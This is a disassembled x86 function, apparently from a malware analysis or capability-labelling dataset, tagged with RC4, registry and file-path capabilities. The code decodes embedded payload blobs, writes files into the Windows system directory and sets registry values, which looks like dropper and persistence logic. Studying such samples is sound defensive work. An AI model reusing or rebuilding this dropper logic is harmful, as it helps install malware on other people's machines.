Function at 0x4068b8
Capabilities:
Encrypt data using rc4 ksa
Get common file path
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5f0
push ebx
push esi
call fcn.00406ea2
push dword [ebp + 0x10]
call dword [sym.imp.MSVCRT.dll_atoi]
xor ebx, ebx
pop ecx
cmp eax, ebx
mov dword [ebp - 0xc], eax
jne 0x4068e2
mov dword [ebp - 0xc], 0xea60
mov esi, 0x94
lea eax, [ebp - 0x1e0]
push esi
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x1e0]
mov dword [ebp - 0x1e0], esi
push eax
call dword [sym.imp.KERNEL32.DLL_GetVersionExA]
cmp dword [ebp - 0x1dc], 4
jbe 0x40691d
cmp dword [ebp - 0x1d8], 2
jb 0x406924
xor eax, eax
jmp 0x406e9c
push edi
push 6
call dword [sym.imp.MSVCRT.dll_malloc]
call fcn.004074d9
push dword [ebp - 0xc]
push 5
call fcn.00407eb9
add esp, 0xc
mov edi, dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, 0xc0000000
push 1
pop eax
push ebx
push ebx
push 3
push ebx
push ebx
push esi
push 0x43f77c
mov dword [ebp - 4], eax
mov dword [ebp - 8], eax
call edi
cmp eax, 0xffffffff
je 0x406970
push eax
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push ebx
push ebx
push 3
push ebx
push ebx
push esi
push 0x43f9bc
call edi
cmp eax, 0xffffffff
je 0x40698d
push eax
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
cmp dword [ebp - 4], ebx
mov dword [ebp + 0x10], ebx
je 0x40699c
mov dword [ebp + 0x10], 1
cmp dword [ebp - 8], ebx
je 0x4069a5
add dword [ebp + 0x10], 2
call fcn.00407e53
call fcn.00406f6f
xor edi, edi
mov esi, 0x7080
lea eax, [edi + 0x4384f4]
or cl, 0xff
sub cl, byte [eax]
inc edi
cmp edi, esi
mov byte [eax], cl
jb 0x4069b6
xor edi, edi
lea eax, [edi + 0x411c74]
or cl, 0xff
sub cl, byte [eax]
inc edi
cmp edi, 0x21000
mov byte [eax], cl
jb 0x4069ca
xor edi, edi
lea eax, [edi + 0x432c74]
or cl, 0xff
sub cl, byte [eax]
inc edi
cmp edi, 0x5880
mov byte [eax], cl
jb 0x4069e2
push pe_nt_image_headers32
xor eax, eax
pop ecx
lea edi, [ebp - 0x2e3]
mov byte [ebp - 0x2e4], bl
push pe_nt_image_headers32
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x3e7]
mov byte [ebp - 0x3e8], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push pe_nt_image_headers32
xor eax, eax
pop ecx
lea edi, [ebp - 0x4eb]
mov byte [ebp - 0x4ec], bl
push 7
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x4b]
mov byte [ebp - 0x4c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebx
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_time]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
pop ecx
lea eax, [ebp - 0x2e4]
pop ecx
push 0x104
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
cmp dword [ebp - 4], ebx
je 0x406af8
lea eax, [ebp - 0x4c]
push eax
call fcn.00409607
pop ecx
lea eax, [ebp - 0x4c]
mov edi, dword [sym.imp.MSVCRT.dll_sprintf]
push eax
lea eax, [ebp - 0x2e4]
push eax
lea eax, [ebp - 0x3e8]
push 0x43f790
push eax
call edi
push 1
push esi
lea eax, [ebp - 0x4c]
push 0x4384f4
push eax
call fcn.0040726a
add esp, 0x20
call fcn.0040704b
push 1
push 0x7d0
call dword [sym.imp.KERNEL32.DLL_SleepEx]
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x5f0]
push 0x43f6dc
push eax
call edi
add esp, 0xc
lea eax, [ebp - 0x5f0]
push ebx
push 0x440ccc
push 1
push 0x43f94c
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
cmp dword [ebp - 8], ebx
je 0x406e83
push 0x20
lea eax, [ebp - 0x4c]
push ebx
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x4c]
push eax
call fcn.00409607
push 7
xor eax, eax
pop ecx
lea edi, [ebp - 0x7b]
mov byte [ebp - 0x7c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x7c]
push eax
call fcn.00409607
push 0xf
xor eax, eax
pop ecx
lea edi, [ebp - 0x14a]
mov word [ebp - 0x14c], bx
mov esi, dword [sym.imp.MSVCRT.dll_mbstowcs]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x4c]
push 0x20
push eax
lea eax, [ebp - 0x14c]
push eax
call esi
push 0xf
xor eax, eax
pop ecx
lea edi, [ebp - 0x10a]
mov word [ebp - 0x10c], bx
push 0x20
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x10c]
push eax
call esi
add esp, 0x2c
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.DLL_QueryPerformanceCounter]
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x2e4]
push eax
lea eax, [ebp - 0x3e8]
push 0x43f790
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
mov esi, str.abcdefg
lea edi, [ebp - 0x8c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x8c]
push 0x10
mov edi, 0x5880
push eax
mov esi, 0x432c74
push edi
push esi
call fcn.0040981a
add esp, 0x20
cmp eax, ebx
je 0x406c35
add eax, 0x40
push 0xc0
push ebx
push eax
mov dword [ebp - 4], eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x10c]
push eax
push dword [ebp - 4]
call dword [sym.imp.MSVCRT.dll_wcscpy]
add dword [ebp - 4], 0x40
lea eax, [ebp - 0x10c]
push eax
push dword [ebp - 4]
call dword [sym.imp.MSVCRT.dll_wcscpy]
lea eax, [ebp - 0x14c]
push eax
mov eax, dword [ebp - 4]
add eax, 0x40
push eax
call dword [sym.imp.MSVCRT.dll_wcscpy]
push edi
push esi
call fcn.004097e8
add esp, 0x2c
push 1
push edi
lea eax, [ebp - 0x4c]
push esi
push eax
call fcn.0040726a
add esp, 0x10
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea eax, [ebp - 0x24]
push eax
call fcn.0040154c
mov esi, 0x43f7a4
push esi
call sub.MSVCRT.dll_strlen
push eax
push esi
push 0x21000
push 0x411c74
call fcn.0040981a
mov esi, 0x40e6b8
lea edi, [ebp - 0x5c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
add esp, 0x18
mov dword [ebp - 4], eax
lea eax, [ebp - 0x5c]
push eax
movsd dword es:[edi], dword [esi]
call dword [sym.imp.ole32.dll_CoCreateGuid]
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], ebx
push eax
lea eax, [ebp - 0x5c]
push eax
call dword [sym.imp.RPCRT4.dll_UuidToStringA]
push ebx
call dword [sym.imp.MSVCRT.dll_time]
mov esi, dword [ebp - 4]
mov edi, eax
cmp esi, ebx
pop ecx
mov dword [ebp - 0x14], edi
je 0x406d42
mov eax, dword [ebp - 0xc]
mov dword [esi + 0x20], eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.DLL_GetLocalTime]
movzx eax, word [ebp - 0x2c]
mov dword [esi + 0x24], eax
mov dword [esi + 0x30], edi
movzx eax, word [ebp - 0x2a]
mov dword [esi + 0x28], eax
movzx eax, word [ebp - 0x26]
mov dword [esi + 0x2c], eax
call fcn.004093fe
test al, al
je 0x406cee
mov byte [esi + 0x34], 1
jmp 0x406cf1
mov byte [esi + 0x34], bl
mov edi, dword [sym.imp.MSVCRT.dll_rand]
call edi
cdq
mov ecx, 0xc8
idiv ecx
mov byte [esi], dl
call edi
cdq
mov ecx, 0xc8
mov dword [ebp - 4], 9
idiv ecx
mov byte [esi + 1], dl
call edi
cdq
mov ecx, 0xc8
idiv ecx
mov eax, dword [ebp - 4]
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x10
mov byte [eax + esi], dl
jb 0x406d17
push 0x10
add esi, 0x10
push dword [ebp - 0x10]
push esi
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0xc
push 0x43f7a4
call sub.MSVCRT.dll_strlen
push eax
mov edi, 0x21000
push 0x43f9ac
mov esi, 0x411c74
push edi
push esi
call fcn.0040981a
add esp, 0x14
cmp eax, ebx
mov dword [ebp - 0x18], eax
je 0x406d91
mov dword [ebp - 4], ebx
call dword [sym.imp.MSVCRT.dll_rand]
push 0x13
cdq
pop ecx
idiv ecx
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x18]
add dl, 0x61
inc dword [ebp - 4]
cmp dword [ebp - 4], 0xb
mov byte [ecx + eax], dl
jl 0x406d70
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x2e4]
push eax
lea eax, [ebp - 0x4ec]
push 0x43f7b0
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
push edi
lea eax, [ebp - 0x4ec]
push esi
push eax
call fcn.004071f3
push pe_nt_image_headers32
lea eax, [ebp - 0xcc]
pop esi
push esi
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0x28
lea eax, [ebp - 8]
mov dword [ebp - 8], esi
mov edi, 0x43f7d4
push eax
lea eax, [ebp - 0xcc]
push eax
lea eax, [ebp - 0x1c]
push eax
mov esi, 0x43f7bc
push edi
push esi
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x1c], ebx
call dword [sym.imp.SHLWAPI.dll_SHGetValueA]
cmp dword [ebp - 8], 0x10
jbe 0x406e2b
cmp dword [ebp - 8], 0x20
ja 0x406e2b
lea eax, [ebp - 0xbc]
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
cmp eax, ebx
pop ecx
je 0x406e2b
mov ecx, dword [ebp - 0x14]
sub ecx, eax
jns 0x406e23
neg ecx
cmp ecx, 0x10946f0
jl 0x406e83
push pe_nt_image_headers32
lea eax, [ebp - 0xcc]
push 0x20
push eax
call sub.MSVCRT.dll_memset
push 0x10
lea eax, [ebp - 0xcc]
push dword [ebp - 0x10]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0x18
lea eax, [ebp - 0xbc]
push dword [ebp - 0x14]
push 0x43f574
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea eax, [ebp - 0xcc]
push 0x20
push eax
push 1
push edi
push esi
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
add dword [ebp + 0x10], 0x64
push 0x6f
call dword [sym.imp.MSVCRT.dll_isalnum]
push dword [ebp - 0xc]
push dword [ebp + 0x10]
call fcn.00407eb9
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 0x10